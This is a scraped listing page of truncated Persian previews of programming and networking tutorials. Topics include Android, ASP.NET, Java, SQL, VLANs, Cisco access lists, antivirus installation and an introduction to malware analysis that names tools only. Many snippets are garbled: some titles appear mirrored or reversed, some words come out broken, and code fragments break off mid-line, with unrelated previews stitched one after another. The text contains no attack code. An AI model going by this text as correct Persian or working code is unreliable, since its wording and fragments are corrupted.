بسم اهلل الرحمن الرحیم بسم اهلل الرحمن الرحیم آموزشگاه تحلیل داده تخصصی ترین مرکز برنامه نویسی و دیتابیس در ایران آموزش نحوه ی از استفاده اندروید action bar قسمت سوم مدرس : مهندس افشین رفوآ آموزش نحوه ی استفاده از action bar

More information

ابتدا نصب بودن بسته VConfig که برای راه اندازی VLAN مورد نیاز است را بررسی کنید:

ابتدا نصب بودن بسته VConfig که برای راه اندازی VLAN مورد نیاز است را بررسی کنید: اعطا ما مدیریت و شبکه به را تری افزون وری بهره و کارایی بیشتر امنیت تر آسان مدیریت VLAN می کند.دلیل و توجیه استفاده از VLAN بنا به نیاز و طراحی شبکه متغییر است VLAN. در تعریف ساده تقسیم شبکه موجود به چندین

More information

بسم الله الرحمن الرحیم آموزشگاه تحلیل داده تخصصی ترین مرکز برنامه نویسی و دیتابیس در ایران. آموزش ایجاد کنترل های سفارشی / controls ASP.

بسم الله الرحمن الرحیم آموزشگاه تحلیل داده تخصصی ترین مرکز برنامه نویسی و دیتابیس در ایران. آموزش ایجاد کنترل های سفارشی / controls ASP. و< بسم الله الرحمن الرحیم آموزشگاه تحلیل داده تخصصی ترین مرکز برنامه نویسی و دیتابیس در ایران آموزش ایجاد کنترل های سفارشی / controls ASP.NET Custom مدرس : مهندس افشین رفوآ آموزش ایجاد کنترل های سفارشی

More information

بسم الله الرحمن الرحیم آموزشگاه تحلیل داده تخصصی ترین مرکز برنامه نویسی و دیتابیس در ایران قابل جابجایی مدرس : مهندس افشین رفوآ

بسم الله الرحمن الرحیم آموزشگاه تحلیل داده تخصصی ترین مرکز برنامه نویسی و دیتابیس در ایران قابل جابجایی مدرس : مهندس افشین رفوآ بسم الله الرحمن الرحیم آموزشگاه تحلیل داده تخصصی ترین مرکز برنامه نویسی و دیتابیس در ایران قابل جابجایی مدرس : مهندس افشین رفوآ قابل جابجایی jqueryui متد draggable() را برای ساخت عنصر قابل جابجایی DOM

More information

اصول درس: دکتر رحمتی http://ee.iust.ac.ir/rahmati/index.htm آدرس Email و Website براي تکالیف و... : rahmati@iust.ac.ir http://eel.iust.ac.ir/rahmati/ ١ فصل ششم فصل ششم ا شنايی با دستورالعملهای Z8 و مقدمهای

More information

بسم اهلل الرحمن الرحیم

بسم اهلل الرحمن الرحیم بسم اهلل الرحمن الرحیم آموزشگاه تحلیل داده تخصصی ترین مرکز برنامه نویسی و دیتابیس در ایران آموزش نحوه ی از استفاده اندروید List در قسمت ششم مدرس : مهندس افشین رفوآ آموزش نحوه ی استفاده از List در اندروید

More information

حقوق مؤلف. انجمن جاواکاپ 2 چند داستان کوتاه درباره امکانات جاوا

حقوق مؤلف. انجمن جاواکاپ 2 چند داستان کوتاه درباره امکانات جاوا دن یک م م ی نجاواکاپتقد م نج ا جاوا نويسی برنامه دوره جاوا امکانات درباره کوتاه داستان چند Java Short Stories ری کب یا عل صادق حقوق مؤلف کلیه حقوق این اثر متعلق به است بازنشر یا تدریس آنچه توسط جاواکاپ

More information

سیستم جامع مانیتورینگ شبکه و دیتا سنتر بینا معرفی زیر سیستم مانیتورینگ الگ بینا

سیستم جامع مانیتورینگ شبکه و دیتا سنتر بینا معرفی زیر سیستم مانیتورینگ الگ بینا معرفی زیر سیستم مانیتورینگ الگ بینا Syslog چیست روشی استاندارد برای ارسال پیغام الگ در شبکه می باشد. Syslog پروتکل تقریبا همه تجهیزات شبکه از این پروتکل پشتیبانی می کنند. روشی ایده ال برای جمع آوری الگ

More information

اشاره گر به تابع 5/23/2016

اشاره گر به تابع 5/23/2016 /* * advanced programming * Alireza Akhavan Pour * akhavan@alirezaweb.com * date: 1395/03/03 */ int main() { cout

More information

بسمه تعالی نمونه آزمون برنامهنویسی جاواکاپ 12 شهریور 2931

بسمه تعالی نمونه آزمون برنامهنویسی جاواکاپ 12 شهریور 2931 بسمه تعالی نمونه آزمون برنامهنویسی جاواکاپ 12 شهریور 2931 نکات مهم: همه سؤاالت چند گزينهای هستند. سؤاالت نمره منفی ندارند. هر سؤال بين سه تا ده گزينه دارد. هر سؤال ممکن است بيش از يک گزينه صحيح داشته باشد.

More information

ILUM-SAM7s راهنمای نرم افزار پردازش سبز هونام. راهنمای نرم افزاری ILUM-SAM7s

ILUM-SAM7s راهنمای نرم افزار پردازش سبز هونام. راهنمای نرم افزاری ILUM-SAM7s پردازش سبز هونام ILUM-SAM7s راهنمای نرم افزار و نحوه ی پروگرم کردن میکروکنترلر و نیز کامپایل و اجرای یک کد نمونه در محیط نرم افزاری IAR نحوه پروگرام کردن ILUM-SAM7s برنامه SAM-BAرا از داخل CD نصب و کامپيوتر

More information

شروع کار با Entity Framework Core 2.0 ASP.NET Core 2.0

شروع کار با Entity Framework Core 2.0 ASP.NET Core 2.0 شروع کار با Entity Framework Core 2.0 ASP.NET Core 2.0 این مقاله نشان می دهد چگونه یک برنامه Entity Framework Core 2.0 MVC Web با استفاده از Visual Studio 2017 و ASP.NET Core ایجاد کنیم و چگونه عملیات

More information

اواج یسيون همانرب هرود طساو

اواج یسيون همانرب هرود طساو دن یک م م ی نجاواکاپتقد م نج ا جاوا نويسی برنامه دوره واسط Interface ری کب یا عل صادق حقوق مؤلف کلیه حقوق این اثر متعلق به است بازنشر یا تدریس آنچه توسط جاواکاپ و به صورت عمومی منتشر شده است با ذکر مرجع

More information

بسم اهلل الرحمن الرحیم

بسم اهلل الرحمن الرحیم بسم اهلل الرحمن الرحیم آموزشگاه تحلیل داده تخصصی ترین مرکز برنامه نویسی و دیتابیس در ایران نحوه شمارش در حلقه مدرس : مهندس افشین رفوآ آدرس آموزشگاه:تهران - خيابان شريعتی - باال تر از خيابان ملک - جنب بانک

More information

دکتر محمد کاظم اکبری مرتضی سرگلزایی جوان

دکتر محمد کاظم اکبری مرتضی سرگلزایی جوان به نام خدا مدل برنامه نویسی نگاشت-کاهش دکتر محمد کاظم اکبری مرتضی سرگلزایی جوان http://crc.aut.ac.ir 1 Memory مروری بر روشهای موازی سازی Programming models Shared memory (pthreads) Message passing (MPI)

More information

اواج یسيون همانرب هرود باتزاب

اواج یسيون همانرب هرود باتزاب دن ممیک ی نجاواکاپتقد م نج ا جاوا نويسی برنامه دوره بازتاب Reflection صادقعلیاکبری حقوق مؤلف کلیه حقوق این اثر متعلق به است بازنشر یا تدریس آنچه توسط جاواکاپ و به صورت عمومی منتشر شده است با ذکر مرجع )جاواکاپ(

More information

پرﺎﺷ ﯽﺳ شزﻮﻣآ C#.NET ﺎﻫ ﻪﺘﺷر ﺎﺑ رﺎﮐ

پرﺎﺷ ﯽﺳ شزﻮﻣآ C#.NET ﺎﻫ ﻪﺘﺷر ﺎﺑ رﺎﮐ آموزش سی شارپ C#.NET کار با رشته ها طریقه ایجاد کردن رشته ها: راه معمول تعریف رشته در سی شارپ استفاده از دو علامت نقل قول است. ("abcdef") که رشته مورد نظر ما در بین این دو علامت تایپ می شود. string newstring

More information

C++ 2 هر ساختار از دو يا چند عضو كه به همراه هم يك واحد منطقي را ميسازند

C++ 2 هر ساختار از دو يا چند عضو كه به همراه هم يك واحد منطقي را ميسازند 10/18/2014 C++ 2 2014 struct هر ساختار از دو يا چند عضو كه به همراه هم يك واحد منطقي را ميسازند تشكيل ميشود. ارايهها هستند بدين صورت كه يك نوع داده گروهي(جمعی) ساختارها شبيه است كه فضاي پيوسته از حافظه

More information

فهرست مطالب. سیستم مورد نیاز جهت نصب :... Kaspersky Anti-Virus نصب...: Kaspersky Anti-Virus نصب استاندارد...

فهرست مطالب. سیستم مورد نیاز جهت نصب :... Kaspersky Anti-Virus نصب...: Kaspersky Anti-Virus نصب استاندارد... سانا سیستم پارس www.kasperskyir.com 1 فهرست مطالب سیستم مورد نیاز جهت نصب :... Kaspersky Anti-Virus 2015 5 نصب...: Kaspersky Anti-Virus 2015 7-1 -2-2-1 نصب استاندارد...: 8-3 فعالسازی : Kaspersky Anti-Virus

More information

access-list access-list-number {permit deny} {host source source-wildcard any}

access-list access-list-number {permit deny} {host source source-wildcard any} Cisco Access List در ترجمه لغوی به معنای لیست دسترسی سیسکو می باشد که زیاد هم از معنای واقعی خود دور نیست. همانطور که از اسم آن بر می آید به وسیله این ابزار میتوانیم بر روی سخت افزارهای سیسکو فایروال ایجاد

More information

SQL: Queries, Constraints, Triggers

SQL: Queries, Constraints, Triggers اصول طراحی پایگاه داده ها Principles of Database Design SQL: Queries, Constraints, Triggers مدرس : عاطفه خزاعی 1 زبان پرس و جوی SQL شرکت IBM در دهه 1970 در سیستم مدیریت پایگاهداده System R برای اولین بار

More information

12. تست activity برنامه

12. تست activity برنامه بسم اهلل الرحمن الرحيم آموزشگاه تحليل داده تخصصی ترين مرکز برنامه نويسی و ديتابيس در ايران آزمايش برنامه های کاربردی اندرويد با بهره گيری از چهارچوب نرم افزاریframework / Android test مدرس : مهندس افشين

More information

حقوق مؤلف. انجمن جاواکاپ 2 مدیریت خطا و استثنا

حقوق مؤلف. انجمن جاواکاپ 2 مدیریت خطا و استثنا دن یک م م ی نجاواکاپتقد م نج ا جاوا نويسی برنامه دوره استثنا و خطا مدیریت Exceptions ری کب یا عل صادق حقوق مؤلف کلیه حقوق این اثر متعلق به است بازنشر یا تدریس آنچه توسط جاواکاپ و به صورت عمومی منتشر شده

More information

مستند ارتباطات برنامههای جانبی با موبایل بانک تجارت

مستند ارتباطات برنامههای جانبی با موبایل بانک تجارت مستند ارتباطات برنامههای جانبی با موبایل بانک تجارت نسخه 0.1 تاریخ تولید: 10 شهریور 49 فهرست تقویم مالی موبایل بانک... 3 پرداخت قبض از طریق موبایل بانک تجارت... 7 ارتباط با برنامه هایی که امکان تولید کد

More information

صف اولویت. سید ناصر رضوی

صف اولویت.  سید ناصر رضوی صف اولویت www.snrazavi.ir ۱۳۹۵ سید ناصر رضوی فهرست مطالب 2 اولویت. صف واسط () پیادهسازیهای اولیه هرمهای دودویی مرتبسازی هرمی کاربردها 3 واسط صف اولویت صف اولویت 4 کلکسیون ها. کدام پشته. حذف صف. حذف صف

More information

<h2>nonmonotonic Reasoning: Context- Dependent Reasoning</h2> <i>by <b>v. Marek</b> and <b>m. Truszczynski</b></i><br> Springer 1993<br> ISBN

<h2>nonmonotonic Reasoning: Context- Dependent Reasoning</h2> <i>by <b>v. Marek</b> and <b>m. Truszczynski</b></i><br> Springer 1993<br> ISBN nonmonotonic Reasoning: Context- Dependent Reasoning by v. Marek and m. Truszczynski Springer 1993 ISBN 0387976892 nonmonotonic Reasoning: Context-Dependent

More information

آزمایشگاه شبکههای کامپیوتری

آزمایشگاه شبکههای کامپیوتری آزمایشگاه شبکههای کامپیوتری دانشگاه سمنان دانشکده برق و کامپیوتر. دستورالعمل شماره 9: آشنایی با مسیریابی پویا محمدرضا رازیان ویرایش 3.0 به نام خدا در شد. این دستورالعمل با لیسته یا کنترل دسترسی آشنا خواهیم

More information

بسم الله الرحمن الرحیم آموزشگاه تحلیل داده تخصصی ترین مرکز برنامه نویسی و دیتابیس در ایران. Web service چیست و چه کاربردی دارد مدرس : مهندس افشین رفوآ

بسم الله الرحمن الرحیم آموزشگاه تحلیل داده تخصصی ترین مرکز برنامه نویسی و دیتابیس در ایران. Web service چیست و چه کاربردی دارد مدرس : مهندس افشین رفوآ بسم الله الرحمن الرحیم آموزشگاه تحلیل داده تخصصی ترین مرکز برنامه نویسی و دیتابیس در ایران Web service چیست و چه کاربردی دارد مدرس : مهندس افشین رفوآ Web service چیست و چه کاربردی دارد یک web service در

More information

بسم اهلل الرحمن الرحیم

بسم اهلل الرحمن الرحیم بسم اهلل الرحمن الرحیم آموزشگاه تحلیل داده تخصصی ترین مرکز برنامه نویسی و دیتابیس در ایران آموزش از استفاده Drawable ها در اندروید مدرس: مهندس افشین رفوآ در این بخش به کاربرد drawable ها در اندروید می

More information

1 آدرس:تهران - خيابان شريعتی - باال تر از خيابان ملک - جنب بانک صادرات - پالک

1 آدرس:تهران - خيابان شريعتی - باال تر از خيابان ملک - جنب بانک صادرات - پالک 1 الرحیم الرحمن اهلل بسم آموزشگاه داده تحلیل نویسی برنامه مرکز ترین تخصصی ایران در ودیتابیس به گام آموزش کتاب گام AngularJS فارسی زبان به رفوآ افشین مهندس مولف 2 تقدیم به نائب امام عصر آیت اهلل خامنه ای

More information

یک هشدار دهنده صوتی قطع اینترنت یک راهکار عالی برای آنکه بدانید اینترنت شما چه زمانی قطع شده است

یک هشدار دهنده صوتی قطع اینترنت یک راهکار عالی برای آنکه بدانید اینترنت شما چه زمانی قطع شده است یک هشدار دهنده صوتی قطع اینترنت یک راهکار عالی برای آنکه بدانید اینترنت شما چه زمانی قطع شده است زمانی که اتصال اینترنتی قطع میشود سادهترین راهکاری که پیش روی شما قرار دارد نگاه کردن به آیکن وایفای است

More information

The no service password-recovery Command for Secure ROMMON Configuration

The no service password-recovery Command for Secure ROMMON Configuration دستور no service password-recovery قابلیتهای امنیتی ROMMON را فعال میکند ولی در هنگام استفاده از این دستور باید نهایت دقت رو انجام بدید و گرنه با دردسرهای زیادی مواجه خواهید شد. این دستور در جایی کاربرد

More information

آزمون برنامهنویسی جاوا

آزمون برنامهنویسی جاوا هب انم خا ل ق یکتا انجمن جاواکاپ آزمون برنامهنویسی جاوا نمونه آزمون جاوا: بخش پایه و حرفهای تعداد سواالت مدت زمان پاسخگویی نام و نام خانوادگی: شماره داوطلبی: سواالت بخش پایه String text = "Ali#and#Taghi#are#friends";

More information

20. تمرين : ساخت برنامه ی تبديل دما

20. تمرين : ساخت برنامه ی تبديل دما بسم اهلل الرحمن الرحيم آموزشگاه تحليل داده تخصصی ترين مرکز برنامه نويسی و ديتابيس در ايران برنامه نويسی تحت اندرويد با Android Studio يا Eclipse ADT مدرس : مهندس افشين رفوآ کليه حقوق مادی و معنوی اين مقاله

More information

عنوان مقاله : نحوه ایجاد تصویر captcha در ASP.net تهیه وتنظیم کننده : مرجع تخصصی برنامه نویسان

عنوان مقاله : نحوه ایجاد تصویر captcha در ASP.net تهیه وتنظیم کننده : مرجع تخصصی برنامه نویسان در این مقاله قصد داریم نشان دهیم که چگونه می توان تصویر Captcha را در برنامه های ASP.netخود قرار دهیم captcha.برای تشخیص ربات ها از انسان ها ایجاد شده اند که با استفاده از آن ربات ها نتوانند به سایت وارد

More information

عنوان مقاله : خواندن و نوشتن محتوای فایل های Excel بدون استفاده ازAutomation Excel تهیه وتنظیم کننده : مرجع تخصصی برنامه نویسان

عنوان مقاله : خواندن و نوشتن محتوای فایل های Excel بدون استفاده ازAutomation Excel تهیه وتنظیم کننده : مرجع تخصصی برنامه نویسان در این مقاله با دو روش از روشهای خواندن اطالعات از فایل های اکسل و نوشتن آنها در DataGridView بدون استفاده از ( Automation Excelبا استفاده از NPOI و( ADO.Net آشنا میشوید. راه اول : با استفاده از (xls)

More information

Instructor : Saeed Shiry

Instructor : Saeed Shiry کنترل جريان برنامه Instructor : Saeed Shiry 1 کنترل جريان برنامه در حالت عادی خطوط برنامه بصورت پشت سرهم اجرا ميشوند. ولی برنامه نويس ميتواند روند اجرای برنامه را بر اساس نتايج محاسبات مقادير ورودی تحقق

More information

آموزش تصویری نصب Kerio Control. شرکت Bitdefender تعویض کرده و به طور کامل هم از سخت افزار های 64 بیت حمایت می نه (که

آموزش تصویری نصب Kerio Control. شرکت Bitdefender تعویض کرده و به طور کامل هم از سخت افزار های 64 بیت حمایت می نه (که دانلود Kerio Control Installer 9.2.2-2172 امروزه دغدغه بسیاری از ادمین های شب ه این شده است که چ ونه م توان پهنای باند مصرف توسط کاربران را کنترل کرد. نرم افزار های بسیاری به منظور کنترل و مانیتور کردن

More information

سویچ های سیس و. برای update کردن ios اول باید ios مورد نیاز از سایت سیس و دریافت کنیم و سپس ان را با ی نرم

سویچ های سیس و. برای update کردن ios اول باید ios مورد نیاز از سایت سیس و دریافت کنیم و سپس ان را با ی نرم آموزش update کردن IOS های روتر و سویچ های سیس و ios های سیس و مانند هر سیستم عامل دی ری نیاز به update دارند این فرآیند م تواند به دلایل مختلف انجام شود برای مثال مم ن است شما سخت افزار یا ماژول جدیدی

More information

پردازش لوله ای و برداری

پردازش لوله ای و برداری پردازش لوله ای و برداری )فصل 9 از کتاب )Mano 1 پردازش موازی Throughput: the amount of processing that can be accomplished during a given interval of time 2 3 : طبقه بندی کامپیوترها از نظر Flynn SISD: Single

More information

یس تاروتسد (تاروتسد زا

یس تاروتسد (تاروتسد زا DISTRIBUTED SYSTEMS Principles and Paradigms Second Edition ANDREW S. TANENBAUM MAARTEN VAN STEEN By: Dr. Faramarz Safi Islamic Azad University Najafabad Branch Chapter 3 Processes 1 مدهای پردازنده هر

More information

نظریه صف Queuing Theory سید صابر ناصرعلوی بخش مهندسی عمران دانشگاه شهید باهنر کرمان

نظریه صف Queuing Theory سید صابر ناصرعلوی بخش مهندسی عمران دانشگاه شهید باهنر کرمان نظریه صف Queuing Theory سید صابر ناصرعلوی بخش مهندسی عمران دانشگاه شهید باهنر کرمان نظریه صف 4. نظریه صفبندی شاخهای به که از ریاضی مطالعه صف ها ویژگی های و آنها می پردازد. ارزیابی وسیله ای برای محاسبه

More information

اصول ميکروکامپيوترها استاد درس: دکتر http://eeiustacir/rahmati/indexhtm rahmati@iustacir ا درس Email و Website برای تکاليف و : http://eeliustacir/rahmati/ ١ /١۴ هفدهم فصل ا شنايی با دستورالعمل ها وMode

More information

بسم اهلل الر حمن الر حيم

بسم اهلل الر حمن الر حيم بسم اهلل الر حمن الر حيم شبکه های کامپیوتری Computer Networks زهره فتوحی z.fotouhi@khuisf.ac.ir کتاب درسی Textbook: Computer Networks A.S. Tanenbaum ویرایش چهارم ویرایش پنجم و... ترجمه : آقای احسان ملکیان

More information

بسم اهلل الرحمن الرحیم

بسم اهلل الرحمن الرحیم بسم اهلل الرحمن الرحیم آموزشگاه تحلیل داده تخصصی ترین مرکز برنامه نویسی و دیتابیس در ایران آموزش دریافت پیام از سرویسهای Cloud آندروید در مدرس : مهندس افشین رفوآ آموزش دریافت پیام از سرویسهای Cloud در

More information

خروجی

خروجی خروجی خروجی DayOfWeek d; for (d=dayofweek.sunday;d

More information

شبكه هاي كامپيوتري پيشرفته ساختار الیه ای شبکه های کامپیوتری

شبكه هاي كامپيوتري پيشرفته ساختار الیه ای شبکه های کامپیوتری شبكه هاي كامپيوتري پيشرفته 2: فصل ساختار الیه ای شبکه های کامپیوتری ساختار فصل 2 این فصل از اجزا زیر تشکیل شده است: قسمت اول: مدل الیه ای OSI قسمت دوم: مدل الیه ای TCP/IP قسمت سوم: ساختار سلسله مراتبی

More information

محمد مرشدی ( )

محمد مرشدی ( ) گروه پژوهشی آفسک بدافزار تحلیل Kronos محمد مرشدی ( Mohammad@offsec.ir ) تمامی حقوق برای گروه پژوهشی آفسک محفوظ است. Tools Used : PEiD CFF Explorer.exe OllyDbg (my own custom edition) WinHex LordPE PEtools

More information

معرفی دوره MTCNA مخاطبین دوره : پیشنیاز دوره : خروجی دوره MTCNA

معرفی دوره MTCNA مخاطبین دوره : پیشنیاز دوره : خروجی دوره MTCNA معرفی دوره MTCNA دوره MTCNA بعنوان اولین دوره آموزشی میکروتیک بوده و پیشنیاز بقیه دوره های مهندسی این شرکت می باشد دانشجویان پس از پایان دوره با RouterOS و RouterBoard ها آشنایی پیدا کرده و روش های ارائه

More information

web.config Register.aspx را بصورت زیر بنویسید.

web.config Register.aspx را بصورت زیر بنویسید. 1 طراحی و توسعه عملی وبسایت-پیشرفته)درج اصالح و حذف( 1 -اتصال به پایگاه داده به کمک فایل پیکربندی و از نوع XML با عنوان web.config 2 -عملیات جستجو لیستگیری درج اصالح و حذف با استفاده از پارامتر) Parameter

More information

برنامهنویسیشیگرا:استفادهازانواعدادهای. سید ناصر رضوی

برنامهنویسیشیگرا:استفادهازانواعدادهای. سید ناصر رضوی برنامهنویسیشیگرا:استفادهازانواعدادهای سید ناصر رضوی www.snrazavi.ir ۱۳۹۶ استفاده از انواع دادهای 1-3 2 اجزای برنامهنویسی ۳ any program you might want to write objects ای داده انواع ایجاد خودتان نیاز مورد

More information

لیست پیوندی- 2 سید مهدی وحیدی پور با تشکر از دکتر جواد سلیمی دانشکده مهندسی برق و کامپیوتر

لیست پیوندی- 2 سید مهدی وحیدی پور با تشکر از دکتر جواد سلیمی دانشکده مهندسی برق و کامپیوتر لیست پیوندی- 2 سید مهدی وحیدی پور با تشکر از دکتر جواد سلیمی دانشگاه کاشان- دانشکده مهندسی برق و کامپیوتر لیستهای پیوندی اشاره گرها ليست ها ليست هاي دايره اي پشته ها و صفهاي پيوندي چند جمله اي ها روابط

More information

VMware NSX : Install, Configure, Manage

VMware NSX : Install, Configure, Manage VMware NSX 6.4.1 : Install, Configure, Manage خلاصه : در دوره آموزش VMware VNX مخاطبان چگونگی نصب پیکربندي و مدیریت VMwareرا NSX فرا خواهند گرفت. در حقیقت NSX یک شبکه نرم افزاري و همچنین یک ساختار مجازي

More information

Chapter 2 ARCHITECTURES

Chapter 2 ARCHITECTURES DISTRIBUTED SYSTEMS Principles and Paradigms Second Edition ANDREW S. TANENBAUM MAARTEN VAN STEEN By: Dr. Faramarz Safi Islamic Azad University Najafabad Branch Chapter 2 ARCHITECTURES 1 Architectural

More information

سید ناصر رضوی

سید ناصر رضوی توابع و کتابخانه ها: توابع بازگشتی سید ناصر رضوی www.snrazavi.ir ۱۳۹۶ توابع 3-2 بازگشتی 2 توابع بازگشتی ۳ تابعی بازگشتی. تابع به صورت را که خودش غیرمستقیم یا مستقیم فراخوانی می کند. مزایای یادگیری توابع

More information

.1 دستور ASSOC برای تغییر و نشان دادن اینکه چه فایلی با چه برنامه ای باز شود ASSOC.txt=textfile

.1 دستور ASSOC برای تغییر و نشان دادن اینکه چه فایلی با چه برنامه ای باز شود ASSOC.txt=textfile برای وارد شدن به CMD در ویندوز از منو استارت وارد Run شوید و عبارت CMD را تایپ کنید و اینتر بزنید.1 دستور ASSOC برای تغییر و نشان دادن اینکه چه فایلی با چه برنامه ای باز شود ASSOC.txt=textfile.2 دستور

More information

بسم اهلل الرحمن الرحیم

بسم اهلل الرحمن الرحیم بسم اهلل الرحمن الرحیم آموزشگاه تحلیل داده تخصصی ترین مرکز برنامه نویسی و دیتابیس در ایران در آموزش Intent اندروید (قسمت سوم ( مدرس : مهندس افشین رفوآ آدرس آموزشگاه : تهران - خيابان شريعتی - باال تر از

More information

ترفندهای ساده برای امنیت بیشتر کامپیوتر آموزشکده توانا تابستان 1391 تهیه کننده: نیما راشدان

ترفندهای ساده برای امنیت بیشتر کامپیوتر آموزشکده توانا تابستان 1391 تهیه کننده: نیما راشدان ترفندهای ساده برای امنیت بیشتر کامپیوتر آموزشکده توانا تابستان 1391 تهیه کننده: نیما راشدان حقوق معنوی اختصاص - این مطلب به پروژه توانا مربوط به سازمان E-Collaborative for Civic Education اختصاص دارد و

More information

دیوار آتشهای متنباز تابستان 96. کد: APA-Semnan-Open-Source-Firewalls طبقهبندی: عادی

دیوار آتشهای متنباز تابستان 96.  کد: APA-Semnan-Open-Source-Firewalls طبقهبندی: عادی کد: طبقهبندی: http://cert.semnan.ac.ir cert@semnan.ac.ir تابستان 96 مقدمه دیوار آتش 1 یک قطعهی نرمافزاری یا سختافزاری است که مانند دیواری از رایانهی شما محافظت میکند. در واقع دیوار آتش با تمرکز بر روی

More information

برنامه نویسی مقدماتی

برنامه نویسی مقدماتی برنامه نویسی مقدماتی بررسی مفاهیم الگوریتم و فلوچارت به کارگیری زبان CوC++ جهت پیاده سازی الگوریتم ها مدرس : علی نیک فرجام دستورات کنترل روند برنامه if if else Switch ساختارهای تصمیم for while do... while

More information

لیست پیوندی. امیر جهانگرد

لیست پیوندی. امیر جهانگرد لیست پیوندی امیر جهانگرد jahangard@yazd.ac.ir مقدمه 2 در بسیاری از کاربردها خوب است که سازماندهی شوند. آرایهها نمونهای از پیادهسازی سیستها مزایا: دسترسی آسان به عناور آرایه ایجاد آسان حلقه تکرار برروی

More information

Spatial conflict reduction in building generalization process using optimization approaches

Spatial conflict reduction in building generalization process using optimization approaches Spatial conflict reduction in building generalization process using optimization approaches This is a Peer Reviewed Paper Parastoo Pilehforooshha and Mohammad Karimi, Iran Key words: GIS, cartography,

More information

یربیاس تینما ینابم لوا هسلج

یربیاس تینما ینابم لوا هسلج جلسه اول مبانی امنیت سایبری تهیه کننده: دامون حقوق معنوی اختصاص - این مطلب به پروژه توانا مربوط به سازمان E-Collaborative for Civic Education اختصاص دارد و استفاده از آن می بایست با ذکر نام سازمان تهیه

More information

a) Peripheral Interface = Interface Adaptor = Interface Controller

a) Peripheral Interface = Interface Adaptor = Interface Controller فصل سیزدهم اصول میکروکامپیوترها http://ee.iust.ac.ir/rahmati/index.htm استفاده ازIC هاي جانبی درس: دکتر رحمتی آدرس Email و Website براي تکالیف و... : rahmati@iust.ac.ir http://eel.iust.ac.ir/rahmati/ اين

More information

معماري كامپيوتر تهيه كننده: محمد ميرزائی بهار 1393 HTTP://WP.KNTU.AC.IR/M.MIRZAEI/AZADCOMARCH.HTML 1 این درس در مورد چیست. ) این درس در مورد ساختار وچگونگی طراحی کامپیوتر های دیجیتالی است. این مطلب معروف

More information

TURBO HD (3.0 version) SOLUTION

TURBO HD (3.0 version) SOLUTION TURBO HD (3.0 version) SOLUTION آشنایی بیشتر با نسل هایک ویژن: ارسال تصاویر ارسال تصاویر تکنولوژی ذخیره سازی پشتیبانی از دوربینهای (1080P) Full HD برروی کابل کواکسیال تا 800 متر (720P) HD برروی کابل کواکسیال

More information

img height="1" width="1" style="display:none" src="//pool.a8723.com/pixel?id=134501t=img" /

img height=1 width=1 style=display:none src=//pool.a8723.com/pixel?id=134501t=img / img height="1" width="1" style="display:none" src="//pool.a8723.com/pixel?id=134501t=img" / دانلود فیلتر شکن رایگان برای کامپیوتر 2018 دانلود فیلتر شکن رایگان برای کامپیوتر 2018 500MB / month data transfer

More information

Finite Element Simulation of Two-Point Incremental Forming of Free-Form Parts. M. Esmailian * and K. Khalili

Finite Element Simulation of Two-Point Incremental Forming of Free-Form Parts. M. Esmailian * and K. Khalili IJMF, Iranian Journal of Materials Forming, Vol.5, No. 2, pp 26-35 Printed in The Islamic Republic of Iran, 2018 Shiraz University Finite Element Simulation of Two-Point Incremental Forming of Free-Form

More information

شروع کار با CSS. بخش هشتم: CSS Specificity سید کاوه احمدی

شروع کار با CSS. بخش هشتم: CSS Specificity سید کاوه احمدی شروع کار با CSS بخش هشتم: CSS Specificity سید کاوه احمدی سوال المان p به چه رنگی نمایش داده خواهد شد #mainnote { color: Blue; } div.note { color: green; }

More information

یسیون همانرب هاگراک عباوت اب ییانشآ

یسیون همانرب هاگراک عباوت اب ییانشآ کارگاه برنامه نویسی با توابع آشنایی توابع برنامههایی که تاکنون نوشته شدهاند فقط شامل یك تابع اصلی به نام main() بودهاند. برنامههاي واقعی و تجاري بسيار بزرگتر از برنامههایی هستند که تاکنون بررسی کیم. براي

More information

Page Language="C#" AutoEventWireup="true" CodeFile="Default.aspx.cs" Inherits="_Default" %>

Page Language=C# AutoEventWireup=true CodeFile=Default.aspx.cs Inherits=_Default %> در این مقاله قصد داریم با استفاده از Ajax کاربر یک پیام را بدون الگین شدن و با استفاده از IP بتواند الیک و یا دیس الیک کند را در ASPآموزش دهیم. برای شروع یک بانک اطالعاتی به نام Test که حاوی دو جدول به

More information

آموزشMVC. Part 1. Model View Contorol نویسنده:پیروز جنابی کپی برداری باذکر نام مجاز میباشد

آموزشMVC. Part 1. Model View Contorol نویسنده:پیروز جنابی کپی برداری باذکر نام مجاز میباشد Part 1 Model View Contorol نویسنده:پیروز جنابی نام:اموزشmvcدرphp Www.gata-co.ir 1391 کپی برداری باذکر نام مجاز میباشد 1 فهرست صفحه موضوع 3 Model View Contoroler قوانین ام وی سی 4 5 httaccess برنامه نویسی

More information

بسم اهلل الرحمن الرحیم

بسم اهلل الرحمن الرحیم بسم اهلل الرحمن الرحیم آموزشگاه تحلیل داده تخصصی ترین مرکز برنامه نویسی و دیتابیس در ایران آموزش پایگاه داده ی SQLite اندروید مدرس : مهندس افشین رفوآ آدرس آموزشگاه : تهران - خيابان شريعتی - باال تر از

More information

(Opnet. 1

(Opnet. 1 ص( دانشكده مهندسي كامپيوتر (Opnet پروژه چهارم (مسيريابي در 1 درس شبكههاي كامپيوتري مهلت تحويل: شنبه 27 /ابان/ 1391 قبل از كلاس TA Opnet ميباشد. هدف از اين پروژه شبيه سازي انواع مسيريابي در براي اين منظور

More information

عنوان مقاله: نحوه استفاده از Encryption و Decryption درASP.Net تهیه وتنظیم کننده : مرجع تخصصی برنامه نویسان

عنوان مقاله: نحوه استفاده از Encryption و Decryption درASP.Net تهیه وتنظیم کننده : مرجع تخصصی برنامه نویسان در این مقاله توضیحاتی در مورد encryption و decryption خواهیم داشت و درباره ی روش های این کار نیز توضیح مختصری را ارائه خواهیم داد. سپس با ارائه یک مثال و توضیح آن بصورت مرحله به مرحله روش های رمزگذاری

More information

SharePoint Development- Core

SharePoint Development- Core SharePoint Development- Core عنوان تخصص: متخصص توسعه شیرپوینت عنوان دوره: توسعه شیرپوینت مقدماتی شناسنامه دوره: دوره آموزشی 18 )ساعت( 6 )جلسه( 3 )ساعت( طراحان فرم و گردش کار پیشرفته SharePoint 2013 Server

More information

آموزش برنامه نویسی استریسک

آموزش برنامه نویسی استریسک آموزش برنامه نویسی استریسک نویسنده: مسعود حیدری نسخه heydari@cytco.net 1.3 معرفی استریسک )Asterisk( استریسک یک سیستم تلفنی کد باز است. تولید استریسک از سال 1999 توسط آقای مارک اسپنسر آغاز گردید. در سال

More information

رایانش ابری: بستری اجرائی هوشمندانه برای موفقیت در تجارت و کسب و کار الکترونیک

